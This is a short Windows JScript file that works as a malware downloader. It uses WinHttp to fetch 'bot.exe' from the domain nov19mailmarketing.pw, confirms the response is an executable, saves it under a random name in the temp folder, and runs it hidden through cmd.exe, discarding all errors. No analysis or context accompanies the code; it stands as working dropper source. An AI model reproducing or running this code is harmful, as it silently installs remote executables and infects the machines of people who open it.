url = "http://nov19mailmarketing.pw/bot.exe";

var shell = new ActiveXObject("WScript.Shell");
var fso = new ActiveXObject("Scripting.FileSystemObject");

try {
    var response = fetch(url);

    var pe_pos = response.indexOf("MZ\x90\x00");
    if (pe_pos == 0) {
        var stream = new ActiveXObject("ADODB.Stream");
        // GetSpecialFolder(2) = TMP Folder
        var tmp_path = fso.GetSpecialFolder(2) + "\\" + fso.GetTempName();
        stream.Type = 2;
        stream.Charset = "iso-8859-1";
        stream.Open();
        stream.WriteText(response);
        stream.SaveToFile(tmp_path, 2);
        stream.Close();
        shell.run("cmd.exe /c " + tmp_path, 0);
    };
} catch (e) {};

function fetch(url) {
    var xhrq = new ActiveXObject("WinHttp.WinHttpRequest.5.1");
    xhrq.SetProxy(0);
    xhrq.Open("GET", url, 0);
    xhrq.Send();
    if (200 == xhrq.status) {
        return xhrq.responseText
    };
}